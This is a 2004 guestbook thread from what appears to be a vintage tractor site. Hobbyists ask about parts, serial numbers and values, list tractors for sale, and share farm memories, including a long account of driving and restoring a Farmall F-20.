Duke Duclos wrote on Tuesday, April 27, 2004 (PDT):I'm looking for an Allis CA or B, perhaps a D17. I have a small farm of 30 acres, with about 15 acres of fields that need some help. I'd want to use the tractor for mowing and baling, and do some odd hauling. It doesn't have to be perfect, just needs to run well and be in decent shape. If you have one or know of one, please get in touch. Thanks
DFergus wrote on Monday, April 26, 2004 (PDT):I was told that Massy Ferguson had a fire and burned a plant down. So they worked out some kind of agreement for Minneapolis Moline to build the Massey Ferguson 97 while they built there plant back and the Massey Ferguson 97 was a Minneapolis Moline 705 with Massey Ferguson Sheet metal and paint. Has anybody else know any thing about this.
Graham wrote on Monday, April 26, 2004 (PDT):Hi I have a 1962 ford 4 cy gas tractor with power steering the pump is going out does anyone know where I could get one with out costing an arm and leg..thanks to all
art lauer wrote on Monday, April 26, 2004 (PDT):I HAVE JUST GOT ALLIS CHALMERS WD OR WD45 SN#200931??. THIS NUMBER IS AT THE BOTTOM OF GEAR SHIFT (IS THIS THE SERIAL# ??)ALSO HOW CAN I FIND OUT IF IT IS A WD OR WD45??THERE ARE KNOW DECALS ON TRACTOR YEAR? THANKS !!
joe brown wrote on Monday, April 26, 2004 (PDT):Hey arthur just wonderin if you want to sell that piece of shit for scrap i own a scrap yard and most of the tractors here are john deeres want to know what kind to get it a minn. moline.
Jack Lupkes wrote on Sunday, April 25, 2004 (PDT):I am looking for a 24 inch rear rim 8 hole for a Ford 2000 Dextra. If anyone has one or knows where I can get one, please email me.
Bill Hayden wrote on Saturday, April 24, 2004 (PDT):Two years ago , I picked up a 1955 Case VAI that had belonged to a big orchard here in Connecticut. It has an eagle hitch , and pto , and is a great tractor . I have used it to haul firewood on my land, and also use a brush cutter on the 3 point hitch . I keep it in a shed, and even with the 6 volt electrical system , it starts in the winter...just . I also have a 2000 John Deere 4400 tractor with a 35 hp 3 cyl. yanmar diesel . Since I have a loader and a Patu wood chipper on the John Deere, I usually end up using the Case VAI for a lot of work . I payed $2400 dollars for the Case with brand new rear tires , and I believe the engine has been overhauled . It runs like a swiss watch . My only wish is that it had a live pto . When you push the clutch in , the mowing deck stops , or whatever you have hitched up to the pto . It's a manageable size , and does everything I need to do with it . It's a great little tractor , and if you can find one in good shape , they are usually not as expensive as a Deere of IH. Good hunting.
danny masters wrote on Saturday, April 24, 2004 (PDT): duane starr are you still around? read your article on your 66 rc.are you the same duane starr who was with white farm equipment in omaha,nebr,back in late 70;s,early 80;s?use to sell them back them,still love olivers and whites.
danny masters wrote on Saturday, April 24, 2004 (PDT):i have an origional op manual for UNIVERSAL and STANDARD TRACTORS which covers th utu uts also the universal model,whats it worth? in very good condition! Also have origional buyers packet for 50 Buick super,all there and in excellent condition,whats it worth?
danny masters wrote on Saturday, April 24, 2004 (PDT):i have an origional op manual for UNIVERSAL and STANDARD TRACTORS which covers th utu uts also the universal model,whats it worth? in very good condition! Also have origional buyers packet for 50 Buick super,all there and in excellent condition,whats it worth?
danny masters wrote on Saturday, April 24, 2004 (PDT):i have 3 model c tractors and one for parts.need new or rebuilt steering sectors,no junk.can sector from e geaner be made to work on b or c allis?mine have narrow fronts.i like these little tractors,have belly mowers on them with meg-mo sytems on 2 of them,these make a heck of a good cutting system,i wouldN,t use anything else but a meg-mo cutter.cannot use on my cotinental belly mower,also can a person still get blade for continental 5ft belly mowers
arthur wrote on Saturday, April 24, 2004 (PDT):Hi I just purchased an 60 in immaculate original condition with a wide front, same as the one pictured here. I would like to find out where to check the engine oil level and where to fill it, also wondering what the little handle is for that is beside the gearstick, Diff. lock??
Gary Hobaugh wrote on Saturday, April 24, 2004 (PDT):I have a 1952 case sc tractor. I'm looking for a case loader to fit this tractor.
Cheryl M. Smith wrote on Thursday, April 22, 2004 (PDT):I am writing this letter in hoping and praying that I might find someone, who can direct me and help me find out how much my dad's John Deer Tractor is worth so that my mom can sell it and get what she deserves. My dad passed away a little over 2 years ago, and we would rather find some one who would take good care of it and put in some work hours with it. If anyone can direct us and tell us what to look for that will lead us to the answers that will help us find out how much its worth, that would be great. Thank you, Cheryl
Audra wrote on Thursday, April 22, 2004 (PDT):I am looking for the miniature replica steam tractor my great grandfather built in the late 40's early 50's. His tractor was donated to a museum in Texas, his name was Joe E Pelphrey. Please help.
Doug wrote on Thursday, April 22, 2004 (PDT):I have a 1956 TO-30 that i picked up last fall. My Dad has a late 40's Ford 8n, and so far, my "Ferg" has out performed the 8n in almost every respect. Especaily when it came to the ice cold Upper Michigan winter starting. thanks for making such a damn reliable, solid tractor!
JACQUES LEBLANC wrote on Wednesday, April 21, 2004 (PDT):Of course, Leader tractor have been made in Chagrin Falls Ohio, but I have restored one in Val d'Or Québec (north of province) and use it from 1983 to 1993. I don't know today if the Leader (Green Acres) named by my friends is still in service somewhere, but I alway regret to sale this precious helper for any kind of situations. The only thing I can do is to contemplate photos I keep from. One suggestion I could say to the owners of Leader, you could replace originating steering box by a 1952 Ford pick up steering box. Sincerly Jacques
mike rose wrote on Wednesday, April 21, 2004 (PDT):I have a 2010 W 67196 so I guess it's a 65. I bought it localy here in victoia texas. It was a backhoe loader,. diesal motor is new but... out of time looking for a 13366 timing window. backhoe is gone but loader works. tires poor. any help adj. a roostamaster inj.pump would be helpfull Mike
blue strom wrote on Tuesday, April 20, 2004 (PDT):What could I expect to pay for a 1951 Farmall H International Harvester with custom wide trip bucket and new tires and battery. Runs good, no quirks and no repairs needed, looks clean though not in mint condition, been repainted purple, not rusty, narrow front end no 3point hitch and no attachments except snow chains. Bob, Im curious at what your finding it costs to rent trailer to move Farmall H? I need to get it here from 170miles away. Email me Thanks
John Holler wrote on Tuesday, April 20, 2004 (PDT):I have a 1948 FCUB for sale in Montana. Am intertaining bids through this summer. Please E-Mail me all questions you have & I'll mail you a photo of the tractor. It's still running strong, in 100% origional, & in mint condition. You can also call me at (406) 892-0903. Thank You
Langford Lloyd wrote on Tuesday, April 20, 2004 (PDT):8N Starter help! I'm a novice tractor mechanic and was surprised when I couldn't pull off the starter to get it rebuilt. Please offer how I to get the starter off. The bendix(?) won't allow it to come off. The shaft has a part on the opposite side of the ring gear. How do I go about it? Is there a relesae pin? Is there a good reference manual?
D Stralow wrote on Tuesday, April 20, 2004 (PDT):I have an AC B with a pan style seat, not the black padded bench style. Is this an original, or after market? The reason I ask is that the seat spring broke, and i'm having difficulty locating a replacement. All other Bs (except 1, i did see a 1946 B with a pan seat)that I have seen have the padded black seat. There is also a shock under the seat, which is worn out, probably why the spring broke. Can anyone help?
Matt wrote on Tuesday, April 20, 2004 (PDT):My father in law gave me a 1950 Air Force model VAI. It has green paint, and department of defense plackards, and air force decals. I am interested in how rare it might be, and would like a picture of one so i can properly restore it. If anyone knows how many of them are, i would be intersted. I have been told that not many came home from the Korean war and WWII. any info would be great
Dennis Green wrote on Monday, April 19, 2004 (PDT):Need A Hyd. Lift Cylinder For Three Point Hitch, Dont't Know If This Was Factory Unit, Looks Kind Of Homemade. Cylinder Has One Fluid Line, About 10 1/2" OA Length, Pin To Pin Compressed. Not Sure On The Travel Or Extended Length The Cylinder Needs Replaced, Cylinder And Shaft Are Badly Pitted.
Fred from-MO wrote on Monday, April 19, 2004 (PDT):I just bought an old 60. I was wondering where I could find a wide front end for it, a front end loader, and would any backhoe attachment work on this old beuty.? I restore cars, now I have a tractor, but little knowledge on tractors-City boy for the most part.
Art Perry wrote on Monday, April 19, 2004 (PDT):Looking to purchase a field marshall tractor, series 1,2, or 3. I live in Nova Scotia, and would like to hear from anyone who has one for sale.
richard adams wrote on Sunday, April 18, 2004 (PDT):I have a 1948 international garden tractor. I need to know where I can get distributor conversation kit? Thanks Rich
Earl Marlatt wrote on Sunday, April 18, 2004 (PDT):I would like to know what causes oil to come out of the front of the fan shaft on a Model B. Replaced the bearing and it still happens. Any ideas? Also need a fuel shutoff valve for this tractor. It's still used for farm work and need to get it fixed....Thanks!
Jason Orr wrote on Saturday, April 17, 2004 (PDT):Does anyone know the value of a 1963 International 560 Diesel with a long reach farm hand loader? Tractor is in fair to good original shape with 3000 hrs. I think I can buy for $4500.
Jim Vassar wrote on Friday, April 16, 2004 (PDT): I am looking for a ford 501 tractor. If anybody out there knows of one please email me. Thank You Jim Vassar
Bud Sisk wrote on Friday, April 16, 2004 (PDT):I have a 1964 FORD 2000 Offset tractor in very good condition. I am interested in the value of this tractor? Anyone who knows please contact me!
kenny wrote on Friday, April 16, 2004 (PDT):My dad had two jd 60's when I was a kid but he had to sell the farm and the tractors went to auction.Man i miss those tractors.I can't remember a lot of things growing up but I REMEMBER THEM!
Bill T. wrote on Friday, April 16, 2004 (PDT):I have just "acquired" an Oliver 770 diesel that came with the South Texas ranch I purchased. It runs pretty well but has only been used to pull a 21' cutter which is really too big for the PTO and it doesn't have a 3 point. I am interested in having it restored but need to find someone who has experience in restorations. Anybody help?
Jerry Wieland wrote on Thursday, April 15, 2004 (PDT):I am looking to purchase a VA series Case tractor. It need not run or be pretty but should be complete. Midwest location.
John Craig wrote on Thursday, April 15, 2004 (PDT):I have a 641 ford and need to replace the rear axil. Anyone have an idea what kind of a pain this is going to be to replace??
Carmen wrote on Thursday, April 15, 2004 (PDT):Could anyone tell me what I can sell a Farmall 230 tractor with bush hog and blade for?
J L Sears wrote on Thursday, April 15, 2004 (PDT):A Farmall Regular '1920's vintage' was our first tractor in 1942. We farmed 320 acres dry corn & small grain. We had mounted lister, cultivator and converted from steel to rubber how ever we had steel also. A real workhorse but nothing by today's standard. Traded it in on new Ford/Ferguson in 1946.
Jason wrote on Wednesday, April 14, 2004 (PDT):I recently traded some work for a Farmall Cub. I look forward to the restoration of it, as I have restored a Farmall M, and an "In Progress" Farmall H. If these old tractors could talk... So much Americana History.
Bill Pilkerton wrote on Wednesday, April 14, 2004 (PDT):Wanting to buy 53 or 54 sc case tractor w/foot clutch & eagle-hitch! Thanks, Bill
Steve Basht wrote on Wednesday, April 14, 2004 (PDT):I am looking at a AC-B for my farm. I have a 15 acre field/pasture that I would like to bush hog. Does this tractor have the power to do the job? What is the horse power?
normand laplante wrote on Tuesday, April 13, 2004 (PDT):je possaide un tracteur massey harrys 1947 commen fair por savoir le model ma plaque signalitic est tres usé (serie nomber)il ressemble au model 44
Michael Adjovi wrote on Tuesday, April 13, 2004 (PDT):I am a consultant and i am adviced to source for supplier of fairly used tractors, who can supply upto 600 tractors on contract.if you can supply such large quantity of tractors, do not hersitate to contact me immediately for more details.
Jim Abrahamson wrote on Tuesday, April 13, 2004 (PDT):I just received a 1952 AC G from my grandfather. He stated that there is a grading blade made for the AC G that is positioned at the center of the tractor. I have searched the web, but am unable to find reference to it. Can anyone help me here?
Ray wrote on Monday, April 12, 2004 (PDT):I have a 1950 MT which has been in the family for 50 years,It has always been stored in doors.It has a 2 bottom plow, field culivator and loader that fits the tractor.The tractor was running when we parked it about 4 years ago. Does anyone know what the fair market value is for the tractor and equipment?
Rick & Laura wrote on Monday, April 12, 2004 (PDT):Just acquired a Super 55 gas. Need complete PTO & 3 point hitch assemblies as they had long ago been removed. Parts need not be pretty, just working. Thanks
Ken Kallam wrote on Monday, April 12, 2004 (PDT):I have used SOS tractors for a long time, they are very strong and tough. I have a l973 4000 that has several advantages over the older SOS tractors and would consider selling. have just gone through the transmission. Excellent tractors to bale hay and bush hog with. enjoy their use.
Chris Spencer wrote on Sunday, April 11, 2004 (PDT):I live in Tioga county NY. I was at the county fair and a 1066 and a john deere 4440 were pulling in the out of field tractor pull and the 1066 out pulled the 4440. The thing is, is that both of them are realy good friends with my family
Wayne Tanner wrote on Sunday, April 11, 2004 (PDT):I have finally about completed the restoration on my Rock Island G-2, All I have left to do is to convert my front wheels back to steel and paint them. My rear wheels were cut down and converted to rubber but I found that older John Deer "D" wheels fit right on and are the same, not so on the front. The ser.# on mine is 100085 can anyone give any insight on that. The gentelman I bought the tractor from told me that it is a 1930.
Albert Prakhurst wrote on Sunday, April 11, 2004 (PDT):Iam currently looking at a 2010narrow front sort of rough but still almost all there the $ is almost unbeatable but there is alot I dont know about this tractor any help or comments would be appreciated
josh reinke wrote on Sunday, April 11, 2004 (PDT):I got a Cockshutt 50 diesel,but all of my pistons are broke! Do u know of anyone who makes pistons for this tractor? or know of any used pistons.
John Portelli wrote on Sunday, April 11, 2004 (PDT): Can any body help me with some informtion about a D-272 4 cylinder petrol motor that i own i need to now what year & also ID this tractor is as i need to buy parts for it
John Portelli wrote on Sunday, April 11, 2004 (PDT):Can any body help me with some informtion about a d-272 4 cylinder petrol motor that i own i need to now what year & also ID this tractor is as i need to buy parts for it
M.J. Schmidt wrote on Saturday, April 10, 2004 (PDT):I have a 1951-52 Allis Chalmers WD. It's in good condition and is being used for farm work. What would the current market price be for this piece of machinery?
Leonard Rahilly wrote on Saturday, April 10, 2004 (PDT):I spent many happy hours on a cousin's 1936 F-20 back in the 40s and early 50s. A few years ago, I came across one of that vintage in a used-machinery dealer's yard, and after putting in some new valves, found that it ran pretty well. It was on my father's farm in NJ, and one summer day when I was there, I decided to see if the old magic was still alive. A meadow needed bushhogging, so I hooked up the old beast to see if it was still a joy to drive an F-20. The meadow was overgrown in those spiky rushes that grow in clumps that we used to call "hassocks." In other words, a pretty rough ride on any tractor. Well, the F-20 was not designed for comfort (I sort of knew that when I was a teenager, but all that was overridden by the thrill of operating such a powerful, bellowing bull of a tractor). The seat sticking out the back means that every upward movement of the front wheels means a quick downward movement of the seat, and vice-versa. There is also no good place to put your feet; either you pull your knees up halfway to your face and put your feet on the axle housing, or you drop them over the axle housing and try to find a spot somewhere near the transmission cover. In the latter case, your ankles bounce against the sharp edge of the rear axle housing. Decidedly not comfortable for a long ride. That particular day, I lost my boyhood nostalgia to some extent. The hassocks brought back just how rough a rider this tractor is, and of course, without a muffler, the noise is just short of deafening when the tractor is working hard. The steering on the F-20 is a decided improvement over the open gearing of the original Farmall (the gearing on the original is exposed, and after a few years, tends to get pretty sloppy; there is also no protection against kickback, so ruts or furrows can get a thumb or even an arm if you drop into one unexpectedly; the F-20 steering gear is not immune to kickback, but it seems to be less dangerous because the gear wheel has to work against a worm). One thing I remember vividly is that the iron wheel gives a kind of "live" feeling to the steering of the F-20; it is even possible to spin it a bit in a quick turn, which is something that is impossible with the later models with a rubber steering wheel--not enough mass to give a flywheel-effect. The steel-wheeled F-20 was designed to pull two 14" plows in second gear at about 3 mph. I never used one on steel, but I have spent over 10 years on a steel-wheeled (McD) 10-20 (approximately the same horsepower) and I can testify in court that it could not pull two 14's any faster than the about-three mph of second gear (the steel wheels absorb a lot of the engine power--as much as 35 percent, I believe). When the F-20 was converted to rubber, it became a roaring fighting bull, because so much more of the engine power went to the wheels(engine; probably about 28 or 29 on gasoline; it produced about 27 at Nebraska on distillate--only 23 on kerosene)(rubber, by my estimates after looking at Nebraska Tractor Tests, robs 10-15% of the engine power, depending to some extent, I think, on the amount of slippage). The usual size tire to replace the 40" steel wheels was 36", which gave an effective diameter of about 48"--quite a much larger wheel. I estimate second gear on 36" rubber to give nearly 4 mph, compared with about three on the 40" steel wheels. This tractor on rubber pulled two 14" plows with ease at that speed (this is like being able to plow one gear higher). The ride was atrocious, as I have mentioned above about my experience in the meadow. The noise out that big elbow exhaust was deafening. At 1200 rpms full-load, you can almost hear every explosion. Because the standard-tread F-20 is so wide, the plow has to be hooked off to the right side, with the result that the steering is constantly pulling to the right. There was no relaxation while plowing with this beast! With other jobs, like disking, a center hitch meant that you could relax a bit, but you still had to look out for furrows or other dips that might pull the steering out of your hands. It appears that the 36" rims were chosen to clear the brake drums. Anything smaller meant that the wheels had to be turned out, making the tractor even wider than it was meant to be. IHC offered 28" wheels, as well. You can see in photos of these tractors that the wheels were always turned out. This must have put some strain on the axles. One of the advantages of the smaller wheels would have been ground speeds about like the original steel-wheeled tractors. I used to drive my cousin's F-20 while pulling a PTO-driven combine. Low gear, which originally had been around 2 mph, must have been close to 3 mph on the 36" wheels. This worked pretty well most of the time, but every once in a while, you'd hit a patch of heavy, green weeds, and WHUMP! the combine would bog down. A slower ground speed might have given the combine time to digest the weeds better. With a PTO-driven combine, the only way to stop the machine and keep it spinning was to kick the tractor out of gear while it was moving. This was very difficult with a load on the PTO. If you were quick enough, and saw the weeds in time, you could blip the throttle closed, kick the gear lever forward, then open the throttle. The throttle and gear lever are on the same side; it's pretty difficult to blip the throttle with your right hand, push the gear lever to neutral, and open the throttle, all in the blink of an eye--otherwise, it's time to get off and unclog the combine cylinder!) On the other side of the coin, the large rear wheels gave the F-20 a pretty good "road gear" (at least for its day). I estimate that at full throttle, without a load (the engine speed goes up to just below 1400 rpms), the F-20 could slide along at close to six mph. On the rough roads that were so common back in the 30s and 40s, this made a pretty good speed to pull a loaded wagon, to take the tractor to a field a mile away, or drive to a relative's farm a couple of miles away to help out with a harvest. I remember the painfully slow third gear of my father's F-12 (about 4 mph, full throttle), and was always delighted when I could run an F-20 full bore along a road. Everything is relative, of course. After we got an H, the old 20 seemed incredibly slow. The H and M can do almost 18 mph at no-load governed speed, and at this speed, you really can feel some wind (as I got a little more mature, I didn't like driving the H wide open on the road--some wear had developed in the steering gear and the front wheels would wobble at an alarming rate when the tractor was opened up). The F-20 is an example of what I call "early" designs; it uses a big, slow-turning engine, which does not produce a lot of horsepower because of the low-speed, but it does put out a lot of torque. With a normal load, it was rare that the tractor did not have enough torque to pull through a spot of stiff clay or other overload, without shifting down. Compare this with a Farmall H (152 cubic inches displacement, compared to about 221 for the F-20). With an H, any overload meant an immediate downshift, because there wasn't much torque. Incidentally, the early Farmall gave a very low output in the only Nebraska test to which it was subjected; I believe this is because it used a 1" carburetor. Later models used 1-1/4", or the same size as an F-20. I had a few occasions to use a '29 Farmall on rubber, and I don't think it produced much less power than an F-20. Much was made of the new manifold and updraft carburetor when the F-20 came out. IHC claimed 15% more power, but they did not say if that meant compared to the early Farmall tested at Nebraska, or to a late model with the 1-1/4" carburetor. A few comments on restorations; 1. I have seen very few F-20s at shows with the original hot manifold (kerosene-distillate). These usually burned out, but the tractors were still going strong after 20 or thirty years, so farmers replaced the manifold with after-market manifolds designed for gasoline only. These are easily spotted because the intake pipes are pretty much separate from the exhaust manifold, so that the intake mixture does not expand too much. The original hot manifold was a massive casting with most of the induction pipes buried inside the casting. Even Ertl's so-called "Precision" F-20 missed this point. They probably looked at a real F-20, but it is unlikely that they knew much about the tractor. Another point about restorations; The rubber steering wheel probably came out sometime in 1937 (I have no data, but the '36 I owned and the one I used to drive both had iron wheels). Many restorations use iron wheels, which must be easy to find because they don't disintegrate. This looks a little strange coupled with the beautiful cast-iron rear wheels that came out late in the life of the F-20 (IHC publicity photos always show the cast-iron wheels along with a rubber steering wheel). Other restorers have replaced the rubber wheel with an open-spoked steering wheel from an H or M. Works, but definitely not kosher. Perhaps somebody is now producing authentic rubber-covered steering wheels for the IHC tractors of the late 30s? Governors; The original F-20 had a "throttling governor," identical to the design of the later original Farmalls (which had 2 styles of governor; the early one had open arms and rods leading to the carburetor; sometime around 1927, I'd guess, all the governor components were enclosed). In 1937, I believe (this can be checked with serial numbers), International came out with a "variable governor" for a number of the tractors with engines like the F-20's (10-20, W-30, F-30). This is the model with the notched pull-rod on the LEFT side of the gas tank. "Variable" in this sense means that the governor functions within a certain range of speeds, from full open to just above idle. The earlier governor on all tractors with this type engine did NOT govern below the full-throttle position. I have vivid memories of pulling a hay rake with an F-20, at part throttle in one of the higher gears. Every downgrade meant that the engine speeded up, and every upgrade meant that the engine slowed down. A variable governor would have controlled the engine speed. The control rod on the variable-governor model is connected via a cross-rod just behind the engine to a series of levers that eventually join up with a pull-rod that comes out of the rear of the governor housing. IHC made a retro-fit variable governor for these tractors, which had a special governor lid that held a bracket for the necessary lever. With this model, the governor-control notched rod was on the RIGHT side of the gas tank. It is a pretty elegant design for a retro-fit. There were other, similar governors sold by independent farm-supply stores (I remember one, Central Tractor). These usually had a lesselegant control setup than the IHC model. Sometimes when the variable governor was installed, no one bothered to take off the original throttle lever just in front of the steering wheel. Just behind the governor housing on the variable type, there is a little bellows which seals the governor from the outside, while still allowing the control rod to move in and out. I remember seeing a model (Ertl?) some years ago with both the bellows and the original throttle lever! (another case of copying something without understanding it). The same company even produced a "Regular" Farmall model with the bellows! This was only possible if the original governor had been replaced with the retrofit. In any case, the bellows doesn't belong on an authentic original Farmall (don't misunderstand me--the variable governor was wonderful, and I would certainly want it on a tractor that was meant to be used). I don't claim to be the last word on F-20 information, but I have some references to look things up in (parts book and a few old sales brochures), and would be happy to share any information I have.
Bill Hoffman wrote on Friday, April 09, 2004 (PDT): I am thinking about buying a to-30 from a fellow down the road from me.What worries me about the tractor is that it uses 1 to 2 quarts of hydraulic fluid everytime he runs it.How difficult is this problem to fix? Please let me know as I am a rookie and clueless.
jonathan knott wrote on Friday, April 09, 2004 (PDT):wrote april 9, 04 yes i have a 60 and i think your tractor is very nice and i,m going to pull my tractor and i am only 14 years old
woody2 wrote on Thursday, April 08, 2004 (PDT):was john deere's tractor used in "green acres"?
Gene Madaras wrote on Thursday, April 08, 2004 (PDT):Whom do I contact to find a rebuilt or repairable head for a farmall FAA ser.# series?
David Pickard wrote on Monday, April 05, 2004 (PDT): I purchased MM M5 a few months ago and I need to replace the pto shaft that is broken. Does anyone know where I could purchase one.I am looking foward to pulling the bushhog with tractor.
bob wrote on Sunday, April 04, 2004 (PDT):I just bought a wc--seems to be running pretty good-gas leaks from carb if not shut off at sediment bowl--tin a bit wrinkled/ and some is holy--how do i figure the year do i have to spend 30$ everytime i buy a manual? are there people out there who would want this for its antique value-- i just needed a loader and this one has a nice heavy duty loader mounted to it, so would willingly trade for an equally serviceable newer tractor
Darrin Louden wrote on Sunday, April 04, 2004 (PDT):This tractor looks a lot my dad,s '58 444.I guess all that can be said is Massey is a great one.
Jerry wrote on Saturday, April 03, 2004 (PST):I just bought a Model SC, is there a place to check the serial number to find out what year it was made, etc.?
FX Gilbert wrote on Saturday, April 03, 2004 (PST):Does anyone reprodece or have acess to the original Instruments used on the VAO madel tractor; the Ampmeter,Temperature and Oil Pressure gauges ?
Chuck Hawley wrote on Saturday, April 03, 2004 (PST):When my parents, Maynard & Eloise Hawley, started dairy farming in Stevensville, PA in 1940 they bought a Minneapolis Moline Z, Tricycle Front end, and it was used on the farm until 1958... I learnt to drive on it when I was 6 yrs old and it was the best tractor for power & torque... We had a neighbor who bought a Farmall Super M that couldn't match the Minnie... It was the best darn tractor on the "Belt" for silo filling & you couldn't stall it out as I know 1st hand that our neighbor was planning on showing up dad's tractor with his new Super M, but, it stalled out & plugged the blower pipe 3 times before he gave up & let dad put the "Z" on the belt... Then the neighor tried his best to load the blower up to the hilt to make it plug, but, the old "Z" just dug down kept putting corn up the silo pipe... It was one fantastic tractor & even through I'm long off the farm I wish I still had that old "Z"... It wasn't anything fancy (Metal seat, Hand Clutch, Individual rear wheel brakes & Metal Push Button Starter) but it got the job done... Walkersville, MD
Jim wrote on Saturday, April 03, 2004 (PST):I'm interested in any information I can get on 1954? Fordson Diesel backhoe/loader. Also am looking for engine hood and insignia for grill.
David wrote on Friday, April 02, 2004 (PST):I am looking for a magnito including the cap for a Case SC(1939-1945)...that is what the seller told me the year was, it ran fine for about 4 hours after I purchased it. Then it died. A local yokal mek i nak said it was probably the magnito so he removed it and when he replased it, it must not have been lined up correctly, because when it turned over it arched and cracked the cap. so for the last year Ihave been searching for someone who knows anything about this problem. I really would like to get it running, and use it. It had been in the sellers family since it was new. Anyone know anything? Central Caalifornia.(SALINAS) phoen 831-663-1711 DAVE
Bob Hauswirth wrote on Friday, April 02, 2004 (PST):Cockshutt was a Canadian company manufacturing plows when it was first formed. Cockshutt sold both Allis Chalmers tractors amd Oliver thractors under its name in its history. My Father had two Chockshutt 99 and I still have the newest one in my storage shed. It was an Oliver 99 painted Cockshutt red and with Cockshutt cast in the upper radiator tank. Oliver had Oliver there and was painted green. There were an number of Cockshutt tractors in this area of Canada (East of Calgary) and were all Olivers models 70, 80, 90 and 99. In the late 1940's Chockshut built it's own tractor the model 30. It was a nice little tractor but without some of the features Ford had such as a three point hitch. Because of this and it's size it was not a big seller in this area. I am looking for parts for my Cockshutt99/Oliver99 such as a rebuilt Marvel Shebler carbureator and a generator.
Gene Stewart wrote on Thursday, April 01, 2004 (PST):I have a 1953 CA AC that was rebuilt about 8 years ago and has a 6 ft Woods belly mower. Runs great and when mowing you can't hardly hear it running. Wide front and looking to sell. Would anyone know a good asking prce for it or know anyone who is interested. Instead of AC emblem on it had a 80 year old man paint Green Acres on it. Looking to buy a tractor with a bucket and upgrade. Thanks. estewart at iowatelecom.net
Ed Miller, Sr wrote on Wednesday, March 31, 2004 (PST):As a child growing up on a 160 acer farm in van Wert county Ohio, I "cut my teeth" on one of these F-20's. We had several and other then the first one bought by my great uncle Bert, I can't remember that we ever paid more then $75.00to $125.oo for any of them. I remember well getting my knuckles wrapped by that hard steel steering wheel when thoes front wheels dropped in a plowed futtow. But BOY would I give almost anything for thoes good old days again. And for another F-20>
Zack Claud wrote on Tuesday, March 30, 2004 (PST):I grew as a share cropper's son. My pops had a 40 John Deere. I use to stay out of school and help my pops work the farm. I have fell in love with old John Deere Tractors. I hope one day that I can afford to buy my own.
Gideon Jakubovitch wrote on Tuesday, March 30, 2004 (PST):Where can I find the original brocure with part numbers of the Allis "G"? I mean not the manual service of the engine but to the parts of the "G" that comes between the steering wheel and the front. I am restoring this G and I need part numbers of all the parts, only that way I could ask and explain exactly which parts i need. Any help highly appreciated. You can also contact me to gideonyz at netvision.net.il
Jerry Linney wrote on Tuesday, March 30, 2004 (PST):In regard's to the fellow's wanting to know how to hook up the plow on a Cub at also the A'S it is very easy.Turn your drawbar to the front and on the side's of tour drawbar you will see 3/8" bolt on each side,and you will also see drilled hole's that allow you to change the pitch of your drawbar up or down.To mount the plow drop the drawbar down one hole. This will let the plow go into the ground.
Lee Bline wrote on Sunday, March 28, 2004 (PST):I am looking for a 620 orchard tractor and was wondering if anyone out there has one for sale?
scott cupps wrote on Saturday, March 27, 2004 (PST):I live on a family farm in southwest missouri and although my twin brother and I are only 18 years old we already own our fair share of ih's. We recnetly purchased 1468 with a dv 550 (awsome machine) and added a couple 5 inch chrome straight pipes. I was wondering if anyone out there in the wonderful world of red power has, or know of someone who has a M & W turbo kit manufactured for the 14 and 1568 models that they might be willing to sell. Also we have a 1086 that we will be attempting to pull this season and i could use all the helpful info i could get! The problem is I helped my buddy build a 966 (now a 1066 becausue we pulled the air reasearch to4 turbo off of a 1066, did a little compressor modification, and bolted it on. Its a hot little machine and now we are trying to build something that will beat it. Nothing like a little friendly competiton! The main problem is the 1086 doesn have a ta and i jsut dont know how she will perform in front of a sled even with the 11 mm head in the pump and turbo work. Like i said, i would greatly appreciate any info, no mattter how small the tip might be....and if anyone knows of a turbo kit for the 1468 please let me know. Scott
Felecia wrote on Friday, March 26, 2004 (PST):HI! I have an International Harvester B414. All I know is that it is a British Tractor. I am having problems finding parts for it. Could anyone give me a website that would help?
Landon Paulson wrote on Thursday, March 25, 2004 (PST):woah this group is page is really active ... still wondering where the cerial number is, as i asked earlier in my previous comment. thanks , talk ta y'all later.
Trevor Poultney wrote on Thursday, March 25, 2004 (PST):I have a friend with either a straight Dexter or Super Dexter tractor that he has completely restored but for the final touch and that is knowing the exact right place where the Decals stick on. Can someone please tell me the original position for these Decals [Name Transfers] Many thanks Trevor Poultney New Zealand
phillip cumberbatch wrote on Wednesday, March 24, 2004 (PST):have just purchased a oliver 70 unknown vintage from old farm full of vintage tractors all sorts of makes have a few pics i took but batteries ran out before i could take more. seller is keen to sell can provide contact details.one drawback country australia.
Crystal & Doc wrote on Tuesday, March 23, 2004 (PST):My Dad is restoring a 1946 Farmall Model M tractor (just about done) and he is interested in going to some shows. We live in Southern California. Can anyone direct me to a website or something with show dates? Thanks so much!
BILL 1946 wrote on Tuesday, March 23, 2004 (PST):i have a wd45 allis i am looking for real and front wheels for it rear wheels have to be sliders also hood whith no dents midwest perfered.thank you BILL
Debbie wrote on Monday, March 22, 2004 (PST):I have an AC tractor that belonged to my Grandfather. I'm not sure what year or model it is; I know that he purchased it back in the mid-to-late 50s. The back wheels are adjustable so that they widened. It has all the farm implements that were made for it--sickle, bush hog, plows, etc. It still runs. What I'm wondering is, where do I look to find the serial number or model number? Thanks!
Tige Hamm wrote on Monday, March 22, 2004 (PST):I need a double control valve lever and a set of headlights with brackets ,if anybody has any info or knows where i can find these parts please let me know
myra nehmelman wrote on Monday, March 22, 2004 (PST):I have a case model d tractor serial number is dc8026938 runs great has a belly mower it is in good condition. What is the value.
T.C. wrote on Saturday, March 20, 2004 (PST):SORRY!!!!!!!!!!!!!!!! T.COLEY ADDRESS WAS TYPED WRONG. PLEASE USE THIS ADDRESS FOR RESPONCE TO THE WD45 AND CASE TRACTORS. I LIVE IN SOUTH ALABAMA. SORRY ABOUT THE MISTAKE.
T.Coley wrote on Saturday, March 20, 2004 (PST):I have a WD45 Diesel.Doesn't look like much but runs great. Above the Serial number are the letters A-CR-KK;will someone tell me what this means? I also have a 1956 Case with a gasoline engine. Thanks !
Martin wrote on Saturday, March 20, 2004 (PST):I have purchased a Fordson Major Diesel Tractor 1960's model, engine # 1380680, I am looking for Fuel Injector Parts, where can I find them. Thanks
Martin wrote on Saturday, March 20, 2004 (PST):I have purchased a Fordson Major Diesel Tractor 1960's model, engine # 1380680, I am looking for Fuel Injector Parts, where can I find them. Thanks
American Equipment Services wrote on Thursday, March 18, 2004 (PST):I now have a 1955 WD45. Very clean runs good. I wonder if anyone has pictures of the different types of "Snap Couple" implements that Allis-Chalmers offered. I did not get any with my tractor and would like to purchase some. I also am looking at a 1954 WD45 that needs fenders were can I find good used ones ? Please E-mail me.
